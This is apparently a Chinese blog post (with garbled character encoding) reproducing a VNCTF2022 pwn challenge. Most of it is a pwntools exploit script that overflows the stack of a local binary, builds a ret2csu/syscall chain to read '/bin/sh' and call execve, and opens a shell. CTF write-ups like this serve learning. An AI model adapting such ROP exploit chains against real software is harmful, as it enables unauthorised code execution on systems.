VNCTF2022 pwn復(fù)現(xiàn)

最近博客調(diào)整好了,會(huì)優(yōu)先在博客更新,簡(jiǎn)書(shū)這邊不能用別的圖床,以前的老文章沒(méi)法更新了,新文章還是會(huì)同步
CyMの學(xué)習(xí)日志 - 獅子之心 (e4l4.com)

這個(gè)比賽之前因?yàn)橐恍┦聸](méi)復(fù)現(xiàn)完,有時(shí)間再?gòu)?fù)現(xiàn)

clear_got(ret2csu/ret2syscall read+execve一波流)

溢出空間足夠大,且自帶syscall不考慮泄露地址
csu這一段不同程序略有不同
這是這道題的↓

from pwn import *
# context.log_level = 'debug'
s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

p = process('clear_got')
elf = ELF('clear_got')
# libc = ELF('./libc64.so')

payload = 'a'*0x68
payload += p64(0x4007EA)# gadget2
payload += p64(0xc01c8)
# 后邊會(huì)call bx*8 0xc01c8*8=0x600e40 
# 里邊存放的是init函數(shù)的地址0x400520(進(jìn)行了一個(gè)rax是否為0的檢測(cè)然后ret)dym段
# 同理也可以跳轉(zhuǎn)到fini,0xc01ca*8=0x600e50 里面是0x400804(fini的地址)
payload += p64(0xc01c9)
payload += p64(0)
payload += p64(59)# sys_read執(zhí)行完后會(huì)將讀入的字節(jié)數(shù)存在rax中,59是execve
payload += p64(0x601060)# stdout 這里作一個(gè)輸入?yún)^(qū)
payload += p64(0)
payload += p64(0x4007D0)# gadget1

payload += 'a'*8# 前面有個(gè)壓低棧的行為,這里抬高,防止壓低影響寄存器取值
payload += p64(0xc020d)
# 這里*8 = 0x601068 即stdout+8 
payload += p64(0xc020e)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0x601060)
payload += p64(0x40077e)# syscall->0->read
payload += p64(0x4007d0)# 再跑一次gadget1賦值
payload += 'e'*0x10# 填滿補(bǔ)齊0x100
success("len:"+hex(len(payload)))
# gdb.attach(p)
p.send(payload)
payload = "/bin/sh\x00" + p64(0x40077e) + "\x00"*43 # sys_call->59->execve
p.sendline(payload)# sys_read
p.interactive()
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 摘 要 本文跟隨hello程序從源文件經(jīng)由預(yù)處理,編譯,匯編,鏈接成為可執(zhí)行文件,再到在shell中加載hello...
    池印宇閱讀 502評(píng)論 0 0
  • 一、溫故而知新 1. 內(nèi)存不夠怎么辦 內(nèi)存簡(jiǎn)單分配策略的問(wèn)題地址空間不隔離內(nèi)存使用效率低程序運(yùn)行的地址不確定 關(guān)于...
    SeanCST閱讀 8,135評(píng)論 0 27
  • 歇了很長(zhǎng)一段時(shí)間,終于開(kāi)始了我的攻防世界pwn之路。立一個(gè)flag:每日一題,只能多不能少。 0x00 dice_...
    Adam_0閱讀 7,322評(píng)論 2 7
  • BROP對(duì)存在棧溢出的ELF進(jìn)行指令盲注,Papper描述攻擊可謂充滿了藝術(shù)。要滿足BROP,需要幾個(gè)條件:1.進(jìn)...
    clive0x閱讀 1,104評(píng)論 0 1
  • 0x00 前言 Pwn弱雞,比賽劃水,只好跟著大佬的博客刷刷一些題目才能維持尊嚴(yán),在刷題目的時(shí)候又發(fā)現(xiàn)了一些新姿勢(shì)...
    Fish_o0O閱讀 1,647評(píng)論 0 6

友情鏈接更多精彩內(nèi)容